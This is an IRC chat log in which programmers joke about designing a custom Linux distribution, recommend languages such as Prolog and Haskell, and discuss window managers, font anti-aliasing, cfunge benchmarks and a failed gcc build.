19:25:03 ehird, what about boot loader 19:25:14 AnMaster: /bin/grub.bin 19:25:20 .bin means "raw executable data, yo, no headers" 19:25:27 in hirdux 19:25:51 ehird, you need to patch grub then. 19:25:55 why? 19:25:59 ehird: you should have a SIGUSR3 signal 19:26:01 you know, just in case 19:26:10 ehird, because it expects a certain layout. 19:26:10 ais523: that's up to the kernel 19:26:17 AnMaster: grub can boot non-linux OSes 19:26:20 soooooooooo 19:26:20 you can patch the kernel! 19:26:22 ehird, and linux systems doesn't work without /proc. 19:26:23 just do the multiboot stuff 19:26:24 just FYI 19:26:27 and fine, I'll have /proc too 19:26:35 ehird, oh and /sys too iirc nowdays 19:26:42 then I'll use an older kernel 19:26:42 or a bsd 19:26:45 whatever :P 19:26:46 you might get that to work without udev 19:26:47 I guess. 19:26:59 static /dev for you 19:27:01 -!- Judofyr has joined. 19:27:09 i'd also need /mnt 19:27:12 but that file has the basic structure 19:27:20 ehird, what is the thing with /usr/root 19:27:33 -!- Judofyr has quit (Remote closed the connection). 19:27:40 AnMaster: Basically, /usr/foo is the same hierarchy as /, except that there's no /usr/foo/usr (duh) and /usr/foo/home is their home directory. 19:27:48 So you have /usr/anmaster/bin, etc. 19:27:52 And /usr/anmaster/home/music 19:27:58 hm 19:28:00 ~ = /usr/$USER/home 19:28:01 ehird, err 19:28:18 why is there a bin outside their home but inside their user 19:28:21 that didn't make sense 19:28:27 ais523: tell him why it makes sense 19:28:37 (/usr/foo is not a home directory, it's just that user's personal system files) 19:28:40 actually, the existence of dirs but not subdirs is nicely ridiculous <-- IIRC Mac OS 1 (!) had something like that 19:28:44 -!- Sgeo has joined. 19:28:50 AnMaster: what would be /home/anmaster/local/bin is now /usr/anmaster/bin 19:28:58 AnMaster: DOS 1 didn't have dirs at all 19:29:02 AnMaster: what would be /home/anmaster/music is not /usr/anmaster/home/music 19:29:05 Greetings 19:29:08 AnMaster: see? it separates the two distinct concepts. 19:29:13 *now 19:29:14 not not 19:29:17 ehird, hm. So what should be in home then 19:29:21 ehird: err, Windows Vista works like that 19:29:22 in your opionion 19:29:23 AnMaster: /usr/anmaster/home/music 19:29:25 so that's hardly original 19:29:29 ais523: i never said it was 19:29:34 AnMaster doesn't understand it, though. 19:29:40 hm 19:29:44 AnMaster: also /usr/anmaster/code/foo 19:29:44 etc 19:29:52 ehird, that should be home/code? 19:29:55 er, yes 19:30:03 /usr/anmaster is just things like a user's local binaries, logfiles, databases, blah blah blah 19:30:03 see it didn't make any sense 19:30:11 what if I write a program called . 19:30:11 /usr/anmaster/home is their personal scratchspace 19:30:17 ais523: it exists. 19:30:18 can I use .. as a dotfile to store its data? 19:30:19 ehird, anyway /lib needs subdirs on Linux. Where do you place kernel modules now 19:30:28 you need multiple dirs 19:30:38 since you can have more than one kernel version installed 19:30:41 AnMaster: clearly, you distinguish kernel modules by the file extension 19:30:41 good at upgrades 19:30:45 AnMaster: /bin/linux/{kernel.bin,moduleblah.so,...} 19:30:49 .. 19:30:52 Hiato1: hi there 19:30:57 doesn't solve the version problem 19:31:02 * Hiato1 just wants to hear suggestions for an interesting, non-eso programming language from the chatroom. Is that so much to ask!?!?! :P 19:31:05 and 19:31:12 kernel expects a structured layout iirc 19:31:12 AnMaster: don't care about multiple versions 19:31:13 oerjan: Hello 19:31:16 and fuck the kernel :) 19:31:19 or the modutils tools rather 19:31:19 i'll use bsdddddddddddd 19:31:31 ok that uses /boot/kernel/* 19:31:32 Hiato1: i am obliged to mention haskell, despite not doing much in it... :D 19:31:39 but could be changed 19:32:06 ehird, you'd still need to patch a lot of libraries to make this work 19:32:08 also, factor was recently mentioned 19:32:09 like dynamic linker 19:32:11 and what not 19:32:21 don't caaaaaaare they can suck my diiiiiiiiiiiiiiiiiiiiiiiiiiick 19:32:24 they suuuuuuuuuuuuuuuck 19:32:25 (never tried it) 19:32:25 :|| 19:32:25 um 19:32:29 just tell it that /bin is /lib. 19:32:39 oerjan: right, though I've looked at it. I was thinking imperative, having just discovered Io, but it seems to have slowed to nothing in terms of dev/activity 19:32:48 -!- M0ny has quit (Connection timed out). 19:32:52 hrmm... will hcek it out 19:32:52 ehird, at the very least you need to patch the build system and some files to do that. 19:32:58 Hiato1: factor is quite imperative, but stack based 19:33:00 #concatenative 19:33:03 haskell is fun though. 19:33:09 roger 19:33:14 Hiato1, erlang is nice too 19:33:16 D is traditional-style imperative 19:33:17 yay, concatenative langs 19:33:22 erlang is not nice >:( 19:33:38 also, you should learn Prolog if you never have done before 19:33:38 Hiato1, concurrent and easily distributed. Functional language. 19:33:48 ehird, you just hate it because I like it. 19:33:51 I think every programmer deserves to know Prolog, even if they never use it or don't like it 19:33:56 ehird, you *always* do that. 19:34:01 AnMaster: no, I've disliked erlang for a while 19:34:08 its concurrency model isn't great imo. 19:34:10 ehird, so I should learn haskell just to watch you hate it. 19:34:17 ehird, better than shared memory at least. 19:34:20 AnMaster: are you listening to me? 19:34:21 hrm.. well.. not exactly writing a complex system, just looking for romething fun to play with 19:34:22 but you have an even better 19:34:23 or? 19:34:27 i don't give a damn about what languages you use 19:34:32 and yes, I do, several 19:34:35 see stm 19:34:41 Hiato1: definitely I'd recommend Prolog, then, making a complex system in it probably wouldn't work well 19:34:46 ehird, such as 19:34:51 "see stm" 19:34:53 heh, ok :P 19:34:56 evidently you're -not- listening 19:34:57 but just like Perl's good for text-processing one-liners, Prolog's good for puzzle-solving ten-liners 19:34:58 ehird, stm being 19:35:02 AnMaster: JFGI 19:35:02 "statement"? 19:35:09 I guess stm is short for statement. 19:35:23 Software Transactional Memory? 19:35:30 ehird, I googled stm. Gives "STM‎ - STMicroelectronics N.V. (ADR) (NYSE)‎" 19:35:38 and "Société de transport de Montréal - [ Translate this page ]" 19:35:38 ais523: ok, great. But it clumsy and over complex for normal tasks, right? I mean, that would be nice 19:35:40 and lots more 19:35:51 AnMaster: you've told me to JFGI for things that don't give a relevant first result and complained when I complained 19:35:55 so there it stands 19:36:04 Hiato1: it's a bit wordy when trying to do normal tasks, and the standard library isn't all that good, but it's not terrible 19:36:25 ehird, you did that first though. 19:36:30 So was just following your style 19:36:47 ehird, at least I never linked non-existent wikipedia articles. 19:36:47 ais523: ok, sounds promising. Know any good resources or should I ask "the g"? 19:37:22 Hiato1: it helps to have someone who knows the language to learn it from, IME 19:37:38 you can grab a compiler+interpreter+REPL like gprolog without much trouble, though 19:37:52 ais523: right, so IRC channel's the way to go then 19:37:58 could be 19:38:27 you'll want to grab the docs for your interp, just to remember the names of standard library stuff that you use 19:38:39 sure, will do 19:38:39 or just write them by hand, almost the whole of Prolog apart from I/O can be written without using the library at all 19:38:45 -!- louzer has quit (Read error: 104 (Connection reset by peer)). 19:38:51 * Hiato1 checks out wiki article 19:38:59 now that's a nice feature 19:39:09 # ls -l /usr/lib/libavcall.la 19:39:09 lrwxrwxrwx 1 root root 15 Jan 6 11:54 /usr/lib/libavcall.la -> ../libavcall.la 19:39:10 fun 19:39:11 wonder why 19:39:17 it makes no sense. 19:39:21 broken symlink 19:39:21 Hiato1: also, Scala or Ocaml for languages that are combined object-oriented and (impure) functional, with advanced static types 19:40:00 hrmm.. righty'o but I'm currently intreuged with prolog, Io, and factor 19:40:10 they all look hideously complex OD 19:40:19 *XD 19:40:23 Io is very simple. 19:40:26 It's also, unfortunately, shit. 19:40:38 Hiato1: well then do scheme 19:40:42 I learnt Ocaml for a University project, it's an interesting imperative/functional mix; I'd suggest it isn't a good language to learn, but it's a good language to use once you've learnt imperative and functional concepts on a different lang 19:40:47 oerjan: *R5RS 19:41:12 ehird: i guess R6RS _did_ get hideously complex? 19:41:17 no shit 19:41:17 ais523: interesting. some people say it's a good link from imperative languages to more functional ones 19:41:21 ehird: aha, I see 19:41:36 Gracenotes: I hate to look at the programming style of people who tried to learn OCaml like that 19:41:48 ais523: right. Well I'm learning functional witn Haskell 19:41:54 hm 19:42:03 ais523: heh. Programming style in what language? OCaml? 19:42:04 I personally program it almost entirely functionally, just using things like imperative globals or exceptions or whatever when they're more useful 19:42:08 Hiato1: a good choice 19:42:09 Gracenotes: yes 19:42:48 I should probably make hirdux. 19:43:02 strings -a /usr/lib/opengl/nvidia/*/*.so | grep -F 'GCC: (GNU)' | sort -n | uniq is interesting 19:43:05 very interesting 19:43:10 ais523: well, Ocaml was my first static functional language 19:43:16 they used lots of different versions: 19:43:25 oerjan: did you know a dynamic functional language before that, though? 19:43:27 if so, it's not so bad 19:43:30 (i guess i mostly knew scheme beforehand) 19:43:31 The installer consisting of making a package manager configuration file that points to /mnt/newsystem as the root and running it with a bunch of packages to install, hopefully :P 19:43:45 GCC 3.2, GCC 3.3.3 (SuSE), GCC 3.4.6 (altstack), GCC 4.1.1 (altstack) 19:43:53 no idea what those "altstack" are 19:44:59 der alte stack 19:46:17 AnMaster: oh, and IWC :D 19:46:27 oerjan, read it hours ago. 19:46:36 you always say that 19:47:58 if i wanted to spoil it for you, don't you think i would have included some actual _content_? 19:49:13 true 19:49:43 -!- Ilari has quit (hubbard.freenode.net irc.freenode.net). 19:49:43 -!- Slereah has quit (hubbard.freenode.net irc.freenode.net). 19:49:43 -!- EgoBot has quit (hubbard.freenode.net irc.freenode.net). 19:49:43 -!- ineiros has quit (hubbard.freenode.net irc.freenode.net). 19:49:43 -!- ehird has quit (hubbard.freenode.net irc.freenode.net). 19:49:43 -!- olsner has quit (hubbard.freenode.net irc.freenode.net). 19:49:44 -!- Dewio has quit (hubbard.freenode.net irc.freenode.net). 19:49:51 oerjan, anyway, I usually read it within an hour after it is updated. 19:50:53 so do i if i'm online 19:50:55 -!- olsner has joined. 19:50:55 -!- Dewio has joined. 19:51:04 -!- ehird has joined. 19:51:53 -!- Ilari has joined. 19:51:53 -!- Slereah has joined. 19:51:53 -!- EgoBot has joined. 19:51:53 -!- ineiros has joined. 19:52:01 except today i got derailed 19:52:04 hello there 19:52:51 hello here 19:54:28 ｈａｌｏ ｔｈａｒ 19:54:45 hi 19:54:55 I suppose making Hirdux wouldn't actually be hard if I compromise with the hierarchy :P 19:55:07 hollow tar 19:55:52 * oerjan interpreted that as "Hurdux", and thought that was a suitably insane idea 19:56:00 yay! 19:56:10 ehird, you must base it on Hurd. 19:56:11 clearly 19:56:16 AnMaster: AAAAAA 19:56:48 where the -ux is from linux, not generic unix 19:57:09 ehird, or at least do something mad like non-matching kernel and user land (exceptions allowed are tools to load/unload/list kernel modules, and some glue code in libc as needed) 19:57:11 like 19:57:17 BSD userland 19:57:19 Linux kernel 19:57:25 BSD userland w/ linux kernel is mundane and done before. 19:57:31 ehird, the reverse too 19:57:33 what about 19:57:39 Solaris userland with Hurd 19:57:45 bsd userland, darwin libc, hurd kernel, 19:57:56 Hurd is an unacceptable monostrosity 19:57:58 libc is of course part of userlang 19:58:00 land* 19:58:00 but 19:58:01 hm 19:58:04 ok then 19:58:10 Use the NT kernel then 19:58:23 ehird: what are the acceptable monstrosities? 19:58:25 Patch the binary if you run into problems 19:58:26 solaris userland, glibc, Plan9 kernel 19:58:28 what about that 19:58:31 oerjan: cthulhu 19:58:41 AnMaster: Fun fact: fun thing+fun thing not always = fun thing 19:58:58 Usually a un idea, though 19:59:02 hmm 19:59:06 ehird, that is an unfun fack 19:59:06 How'd I miss the 'f' there 19:59:07 * ehird 's slackware greets him with: 19:59:13 cthulhux, with non-euclidean file system 19:59:13 Crucifixes are sexy because there's a naked man on them. 19:59:16 -- Madonna 19:59:17 Deewiant, oh, so it wasn't french then 19:59:19 Thanks, Slackware! 19:59:27 oerjan: speaking of which 19:59:34 # OERJANIX/BOOT 19:59:35 ehird: that's quite a fortune quote 19:59:38 # UPGRADE -FULL 19:59:43 $ # wow, this new oerjanix is modern 19:59:46 $ cthulhu-scanner 19:59:54 $ # yay it's gone 19:59:58 $ gnuverse-simulator 19:59:59 oh that 20:00:03 > ;; Oh god it uses Guile now. 20:00:04 I almost forgot about it 20:00:11 ehird, hahaha 20:00:11 > (set! fine-structure "a pound of pennies") 20:00:13 > (simulate) 20:00:18 oh my 20:00:32 oh wait 20:00:33 ^C 20:00:36 ehird, that was like months ago 20:00:37 > (set! message-style 'old-uppercase) 20:00:40 > ;; can't loose that 20:00:42 > (simulate) 20:00:45 oerjan: gogogo 20:00:49 *lose 20:01:13 SHEESH 20:01:26 Uh oh 20:01:27 ^C 20:01:29 > (quit) 20:01:39 $ cthulhu-scanner # I think we're infected by the sheesh-cthulhu virus 20:01:46 sigh 20:02:01 AnMaster: you don't care? what bad sysadministration! 20:02:19 ehird, of course I do. But I would do a clean reinstall in case it includes a rootkit 20:02:34 AnMaster: Oh, I have a far more fun way to fix cthulhus. 20:02:36 oerjan: scan results? 20:02:45 -!- WangZeDong has joined. 20:02:46 THERE ARE NO GREAT OLD ONES IN THE SYSTEM 20:02:53 oerjan: Well, make some then. 20:02:57 err 20:02:58 what 20:02:59 NO! 20:03:04 AnMaster: Ssh. 20:03:08 This will be nice 20:03:09 . 20:03:19 ehird, /usr/share/openssh/Ssh.bin 20:03:39 no clue what it is. But ssh always installs such a file 20:03:47 on every system I used 20:03:53 I don't have one. 20:03:54 sometimes /usr/share/Ssh.bin 20:04:11 Deewiant, /usr/share/Ssh.bin on arch 20:04:12 Ah, that I do have 20:04:19 # file /usr/share/openssh/Ssh.bin 20:04:20 /usr/share/openssh/Ssh.bin: DBase 3 data file (507582464 records) 20:04:23 no clue 20:04:24 at all 20:04:31 that's a big database! 20:04:43 oerjan: Well, I'll just assume that the old ones lied and said they weren't there. 20:04:45 Now then! 20:04:49 ehird, it isn't a db 20:04:49 $ gnuverse 20:04:53 file misindenfies it 20:05:09 > (forever (thread (create-universe :old-ones #f :ehird-has-a-million-pounds #t))) 20:05:11 BUT THERE _ARE_ NO GREAT OLD ONES, THIS IS A _NEW_ SYSTEM 20:05:20 > ;; By the omega point hypothesis, we are in one of those universes. 20:05:22 > (quit) 20:05:43 ehird, check your account balance 20:05:47 AnMaster: Google suggests that it's for smart cards. 20:05:51 Deewiant, hm ok 20:05:52 AnMaster: I'M RICH!!!!!!!!!!!!!!! 20:06:00 oerjan: Well, okay, we're clean now. 20:06:01 ehird, sure... 20:06:03 $ gnuverse 20:06:11 no 20:06:13 -!- Guest38386 has changed nick to Mony. 20:06:14 hm 20:06:16 > (set! pi (dialog "What's it to you?" pi)) 20:06:17 -!- Mony has changed nick to M0ny. 20:06:19 > (simulate) 20:06:28 ;; that'll give the mathematicians a fright 20:06:29 ehird, you are bored I guess. 20:06:44 Why not go work on your befunge implementation 20:06:54 Too bored ;) 20:07:01 Deewiant, I'm planning for cfunge 0.4.1 tomorrow. btw 20:07:13 Deewiant, just thought I'd let you know. 20:07:25 POUND OF PENNIES ARE MISSING 20:07:42 ehird, hey. Give them back to him. 20:07:50 oerjan: ^Z 20:07:54 that is where the million pounds were taken from. 20:07:56 clearly. 20:08:00 STOPPED 20:08:02 > (set! fine-structure "million poundsworth of pennies") 20:08:05 > (continue) 20:08:20 what can't science do? 20:08:26 UNIVERSE CREATED 20:08:31 ehird, ^Z would suspend guile not the program right 20:08:36 so that wouldn't work 20:08:37 afaik 20:08:40 RAMPANT PENNY INFLATION 20:08:44 AnMaster: DO NOT ARGUE WITH GNUVERSE 20:08:50 ehird, :/ 20:09:50 oerjan, that was a really bad pun 20:10:11 oerjan: i'm scared that the "pi-god" will kill mathematics 20:10:14 please provide an update 20:10:30 INFLATION PERIOD ENDS 20:10:50 oerjan: (note that i did > (set! pi (dialog "What's it to you?" pi))) 20:10:53 oh my, we are set for economic jokes 20:10:59 AnMaster: yep. 20:11:18 I'll go code on cfunge or something... 20:11:39 GIANT BULL FOUND IN SPACE 20:11:47 oerjan: Bullshit! 20:12:04 BULLSHIT FORMS PLANETS 20:13:25 and then 20:13:26 that would explain so much 20:13:27 AnMaster: no more economics 20:14:01 sigh 20:14:04 * AnMaster goes back coding again 20:14:27 -!- Slereah has quit (Connection timed out). 20:14:54 -!- pikhq has joined. 20:15:34 UNIVERSE ENTERS RECESSION. BULL IMPLODES DUE TO GRAVITY OF SITUATION. 20:15:43 :D 20:16:17 OpenSSH README.smartcard: "To enable -- load the Java Cardlet to the Cyberflex card -- sectok> jload /usr/libdata/ssh/Ssh.bin" 20:16:19 Deewiant, actually, it might take a day or two more 20:16:19 That's what it's for. 20:16:37 depending on how much work I have to do for gcc 4.4 20:16:47 in case of new warnings or whatever 20:16:53 gcc 4.4 is still compiling atm 20:17:26 PLANET EVOLVES SAPIENT BEARS 20:17:31 oerjan: SHIT. 20:18:03 I have a book like that 20:18:10 It's called "The right to arm bears" 20:18:13 -!- WangZeDong has changed nick to Slereah. 20:18:50 CIVILIZATION FORMS BASED ON BEAR MARKETS 20:19:15 groan 20:20:51 MAINLY BASED ON TRADING STAG MEAT 20:22:10 GENETIC ENGINEERING GREATLY INCREASES MEAT PRODUCTION 20:22:44 ALSO KNOWN AS STAGFLATION 20:22:49 CIVILIZATION FORMS BASED ON BEAR MARKETS groan <-- IDGI 20:23:02 oerjan: GROAN 20:23:12 the last one I get though 20:23:16 AnMaster: The terms bull market and bear market describe upward and downward movements respectively and can be used to describe either the market as a whole or specific sectors and securities (stocks). 20:23:21 http://en.wikipedia.org/wiki/Market_trends#Bear_market 20:23:23 ehird, aha 20:23:57 SPACE TRAVEL INVENTED 20:24:41 FTL TRAVEL INVENTED. USED TO INVESTIGATE NEARBY BLACK HOLE. 20:24:47 For the lose travel 20:25:39 GIANT BULL RETRIEVED, REVOLUTIONIZING MEAT PRODUCTION 20:26:18 UNIVERSE LEAVES RECESSION 20:26:25 * pikhq listens to "Dark Side of the Moon" 20:26:39 pikhq, sounds like a reference to a TP novel 20:26:50 AnMaster: sounds like a pink floyd album. 20:26:51 which it is. 20:26:55 It's a Pink Floyd album. 20:26:58 ehird, that too I guess. 20:26:59 Just got it. 20:27:11 I didn't know about that though :P 20:27:22 AnMaster: pratchett book: 1976. dsotm: 1973. 20:27:35 ehird, so it is the other way around then 20:27:36 and "dark side of the moon" as a phrase is older. 20:27:41 AnMaster: no, it's not any way around 20:27:43 or possibly not connected at all 20:27:46 indeed 20:29:09 UNIVERSE ENDS IN THE BIG RIP-OFF 20:29:11 ehird, did you know that the city of "Sto Lat" in the Discoworld happens to be the name of a Polish traditional song. I read some interview with TP where he said that completely unitentional. 20:29:13 AnMaster: I'm surprised you didn't know about the album; it's generally considered one of the most known/significant albums of all time (maybe on that scale for "modern cultural icon" too) 20:29:19 and no, I didn't 20:29:20 unintentional* 20:29:24 http://en.wikipedia.org/wiki/Sto_lat 20:29:37 I don't think I've ever heard of the album 20:29:52 Deewiant: Seriously? 20:29:56 Yep 20:30:07 I'm amazed 20:30:10 I'm somewhat known for not knowing things 20:30:33 http://wiki.lspace.org/wiki/Sto_Lat mentions it too. But not the "unintentional" bit. 20:30:46 It's one of the best-known albums. 20:30:50 ... Period. 20:30:58 I'm not into known music 20:31:05 It stayed in Billboard's top 200 albums list for about 13 years... 20:31:05 now if sto helit had a hidden meaning we might start doubting him 20:31:15 oerjan, no idea if it does. 20:31:19 pikhq: it's one of the best known items of modern culture... 20:31:29 * ehird runs xdm. /me's eyes burn out 20:31:32 ehird: Yeah, definitely. 20:31:48 CRISS CROSS BLACK/WHITE AS FORM OF: GRAY, TORTURE 20:32:58 ah, so "sto lat" means a hundred years 20:33:31 "in which the subject is wished a life one hundred years ("sto lat") long." 20:33:37 i see the polish don't have very high ambitions 20:33:51 pikhq, um 20:33:55 xdm isn't that bad 20:33:56 I mean 20:33:59 I have seen worse 20:34:05 He wasn't talking about xdm :P 20:34:05 like CDE or motif. 20:34:09 ah 20:34:10 also, xdm IS terrible 20:34:17 http://upload.wikimedia.org/wikipedia/commons/e/ec/Xdm_Screenshot.png 20:34:19 ehird, yes. Worse than twm even 20:34:20 zoom in on that gray 20:34:22 "gray" 20:34:26 it seriously kills your eyes 20:34:29 it hurts to look at 20:34:47 ehird, that is the default bg colour of X with no window manager stared 20:34:49 just do 20:34:50 um 20:34:53 i know 20:34:54 * AnMaster looks for the command 20:34:55 it's horrible 20:35:01 Zoom out and it looks prettier 20:35:12 xsetroot -bg 20:35:21 I don't know what format is in 20:35:41 English works to an extent 20:35:50 xsetroot -solid 20:35:51 too 20:35:58 takes a colour parameter too 20:36:41 Deewiant, what if you want #E6E6F8 for example 20:36:55 which is what I prefer for bg colour 20:37:00 I don't know 20:37:01 on this screen 20:37:42 -!- kar8nga has quit (Remote closed the connection). 20:38:15 rgb:e6/e6/f8 20:38:58 Either that or X11 color names. 20:39:24 lifthrasiir, there? 20:39:27 yes. 20:39:40 lifthrasiir, in my tests cfunge is about twice as fast on that example file 20:39:51 hmm... 20:39:55 lifthrasiir, Release build of cfunge with 32 bit cells 20:39:59 compared to rcfunge 20:40:02 "For backward compatiblity" also "#e6e6f8" color specification should work. 20:40:04 rcfunge2* 20:40:21 cfunge: real 0m7.166s 20:40:28 rcfunge: real 0m14.274s 20:40:32 average of 10 runs each 20:40:42 no command line options 20:41:04 cfunge: 32bit, exact-bounds, concurrency 20:41:13 hm I should make a build string thingy or such 20:41:24 so you can get all that info from cfunge -f in one line 20:41:27 easy to read and such 20:42:07 * ehird replaces xdm with wdm 20:42:18 much better 20:42:28 anyone used icewm? 20:42:32 o/ 20:42:42 Deewiant: how can I make its menus not require clicking to open? 20:42:44 it's irritating 20:42:47 I went Ice -> Flux -> Open 20:42:54 open? 20:42:56 box 20:43:05 ugh, I hate *box 20:43:27 Can't remember how to config that 20:43:46 IceWM is very boxy IMO 20:44:06 IceWM is less Cool-For-The-Sake-Of-Unusability-I'm-So-Minimalist-Yo 20:44:21 Which might be why I didn't like it ;-) 20:44:40 I can't actually remember, I had some small issue with each of Ice and Flux 20:45:04 Changing window managers every now and then is good for you; keeps you from getting into a rut. 20:45:30 fizzie: why, which do you use? 20:45:31 Meh, good ruts are fine 20:46:07 ehird: Oh, I've been using awesome lately. But I've been through so many I couldn't reconstruct the complete list anyhow. 20:46:39 The "lavender" X11 color name (#e6e6fa) is probably closest to that requested color. 20:48:15 I did consider trying out Ion, but, well, this is directly quoted from Ion's FAQ re Xinerama support: "Xinerama this, Xinerama that, baawaawaa!! Too bad. I'm not going to waste my time rubbing your unecological penis enlargement." 20:48:31 :-) 20:48:35 Gotta love Tuomo 20:48:39 fizzie: Tuomov is a retard; he's switching to Windows. 20:48:44 Because he had some problems with an old Ubuntu. 20:48:51 His blag is quite lollerific 20:49:01 I wonder what he's going to do with Ion on Windows 20:49:11 Deewiant: Run Linux in a VM, I think he said. 20:49:13 With Ion. 20:49:13 blag = short for "weblag", the amount of time it takes to access a website due to internet latency? 20:49:24 ais523: Let's just say yes. 20:49:58 ehird: I wonder how running Linux in a WM is supposed to be an improvement over running it natively 20:50:06 Deewiant: Why are you applying logic 20:50:11 The "lavender" X11 color name (#e6e6fa) is probably closest to that requested color. <-- ? 20:50:14 the one I mentioned? 20:50:17 or what 20:50:41 Yes, that one. 20:50:50 well that isn't very close IMO 20:51:06 ~ 20:51:52 "-- it [the Ion license] is targeted against distributions – the middle-men, the equivalents of the big record companies in FOSSphere – that have become far too powerful, wielding de facto central control over easily installable software --" such vitriol. 20:52:04 lifthrasiir, so how is your compiled then. 20:52:24 AnMaster: with default options. no change applied. 20:52:29 hm 20:52:42 lifthrasiir, set the build type to RELEASE and try again 20:52:56 maybe I should try to figure out how to make that default 20:54:03 fizzie: he's also threatened to license it under a license which requires packagers to upgrade it 30 or so days after every release or remove it 20:54:07 because debian had a version a month or two old 20:54:27 Yes, well: "The Linux/FOSS distributions are such powerful entities that will abuse authors (and users!) as long as they remain in power." 20:54:52 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:54:57 AnMaster: okay, it is twice faster now. 20:55:16 lifthrasiir, by changing to "Release"? 20:55:17 ehird: I'm sure that wouldn't be DFSG-compliant 20:55:19 yes. 20:55:20 instead of empty 20:55:21 hm 20:55:22 -DCMAKE_BUILD_TYPE=Release, right? 20:55:26 lifthrasiir, yes 20:55:26 ais523: it wouldn't eb. 20:55:28 *be 20:55:36 lifthrasiir, I tend to use ccmake though. 20:55:38 anyway 20:55:42 -!- bsmntbombdood has joined. 20:55:43 should figure out how to make default 20:55:46 he said debian would have to move it into the non-free repository, but i'd just leave the old version or remove it altogether 20:55:47 if I was debian 20:56:04 even funnier, fork the old version 20:56:10 *iirc* wesnoth does it 20:56:13 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 20:56:20 "(They might not bother: the trend seems to be to force everyone to use Xft shite and blurred fonts.)" 20:56:34 this just in: fonts that have actual curvature that you can read are BLURRY! 20:57:00 Mm, IceWM+gtk theme mist+Debian is quite comfortable. 20:57:03 -!- bsmntbombdood has joined. 20:57:10 Ion3 is in debian non-free now. 20:57:21 If only I could hover on IceWM menus to make them view. 20:58:04 Also maybe smooth out the dis— you know, I could rewrite ionwm with gtk in a few hours, probably :P 21:00:26 anyone know what that pretty package installer thing is? 21:00:27 not synaptic 21:00:30 the more lightweight one 21:00:38 aptitude? 21:00:41 no 21:00:41 graphical 21:00:44 ais523: ubuntu's "add/remove" 21:00:50 debian has it too 21:00:52 by default 21:00:55 oh, I've known it at least twice 21:00:59 but forgotten each time 21:01:01 :D 21:02:05 Is the problem Gnome-related? 21:02:06 Yes. Goodbye. 21:02:07 — Ion bug reporting page 21:02:15 Did you run any Gnome software in your session (especially gdm or gnome-settings-daemon)? 21:02:16 Yes. Remove all Gnome software from your system. Then go to next step. 21:02:19 this just in: fonts that have actual curvature that you can read are BLURRY! 21:02:20 ooh 21:02:27 that is opposite of what you think 21:02:28 damn tuomov is funny 21:02:29 :) 21:02:33 who said it 21:02:37 tuomov 21:02:40 ion author 21:02:42 aha 21:02:44 ehird: gnome-app-install 21:02:55 How obvious 21:04:58 -!- MizardX- has joined. 21:05:10 Maybe Hirdux will end up as Debian + a shell script to install some stuff :P 21:06:01 -!- MizardX has quit (Nick collision from services.). 21:06:25 -!- MizardX- has changed nick to MizardX. 21:07:14 ais523, I'm about to break IFFI again... 21:07:29 ah, ok, I don't mind 21:07:31 ais523, to be able to provide useful -v option somewhat like gcc -v to check compile flags. 21:07:42 why would that break IFFI? I don't use your main 21:07:43 I mean, for gcc itself then 21:07:52 ais523, /home/arvid/src/cfunge/trunk/src/main.c:196: error: expected ‘)’ before ‘CFUN_USER_CFLAGS’ 21:07:55 stuff like that I assume 21:07:59 ah, ok 21:08:04 well I could add some #ifndef IFFI 21:08:05 I guess. 21:08:09 or whatever 21:08:21 so you could skip that completely 21:08:24 there aren't any useful command-line options with IFFI as-is 21:08:54 ais523, true. But you still need parts of main.c. Since some variables are defined there. 21:09:32 but yes I could ifdef them out when ICK_IS_IFFI or whatever is defined (either ICK_* or CFUN_IS_IFFI should be the name of the define) 21:10:12 ais523, you decide ^ 21:10:24 Deewiant: you know how you said a desktop environment is needless? 21:10:25 wrong 21:10:42 if you don't have one you get to use 5 billion incompatible setting programs 21:10:46 woop woop 21:10:47 AnMaster: CFUN_ would be fine, define names don't come up in user code 21:10:57 right 21:10:58 I don't use setting programs, I use setting files :-P 21:11:10 Deewiant: Gee, that sure sounds fun. 21:11:20 ais523, CFUN_* FUNGE_* and CF_* are all used in cfunge. Or no prefix at all. Depends on how old that code is. 21:11:26 Nowdays I use CFUN_* 21:11:27 ehird: What do you config so much that it matters? 21:11:39 Nothing much, but it is irritatin 21:11:40 g 21:11:44 I find it hard to take this stuff seriously when terms like "the AA fascist movement" are used. 21:11:59 (When speaking of people who like anti-aliasing in their fonts.) 21:12:17 fizzie: :-) 21:12:24 fizzie, I assume he has one of those 300 dpi monitors then 21:12:33 where AA actually would be bad. 21:12:35 AnMaster: No, he just things edges are edgy. 21:12:38 *thinks 21:12:44 Grr, gksudo sux since you lose theme settings 21:12:44 hah 21:12:55 AnMaster: No, no. "200dpi is not enough for blurring not to show. I can see the dots in 300dpi prints. -- You have to embrace the pixels, not act as if they are not there." 21:12:58 ehird, why are you running graphical programs as root!? 21:13:01 that's wrong. 21:13:03 AnMaster: synaptic, etc. 21:13:06 insecure 21:13:10 lol 21:13:14 lots of not well reviewed code 21:13:15 only as insecure as running a cli program as root. 21:13:17 like X 21:13:23 X should not be run as root 21:13:27 (sadly it must atm) 21:13:41 (but it is likely to change in the future, thanks to GEM and kernel mode switching) 21:14:00 AnMaster: No, no. "200dpi is not enough for blurring not to show. I can see the dots in 300dpi prints. -- You have to embrace the pixels, not act as if they are not there." <-- what 21:14:12 AnMaster: He's mad. 21:14:19 fontcube 21:14:21 What's debian's nonfree repository called again? 21:14:27 ehird, nonfree 21:14:28 iirc 21:14:33 tried that. 21:14:36 ok 21:15:01 "You're expected to sacrifice the present on the altar of the future, and to sacrifice personal ergonomics on the altar of fads and techno-high priests." 21:15:12 It is very fontcubeish. 21:15:33 When you antialias, you're sacrificing the present on the altar of the future!1 21:16:56 Why is it so ugly? 21:16:56 a) It is not. Are you sure you're not on a bad trip from the aqua in teletubbyland? 21:16:58 — FAQ 21:17:42 aarrgh 21:17:45 gcc compile FAILED 21:17:47 (/)%(/)&%!#¤)&(#¤% 21:17:52 &°·̂‡†̂̀‡̂%7ˆÞt675 21:17:55 checking for suffix of object files... configure: error: in `/home/anmaster/gcc/build/i686-pc-linux-gnu/libgcc': 21:17:55 configure: error: cannot compute suffix of object files: cannot compile 21:17:55 See `config.log' for more details. 21:17:59 stage2 21:18:09 fizzie: man, footnote 1 21:18:19 he actually ties antialiasing into being un eco friendly 21:18:20 :D 21:18:48 Yes, they're building separate power plants for all the CPU cycles consumed by "the blurring". 21:18:51 ehird: That's quite impressive. 21:19:29 ok 21:19:30 why 21:19:37 did gcc ignore -rpath 21:19:40 Also, I suspect that these people have only seen very, very bad anti-aliasing. 21:19:45 (read: Windows) 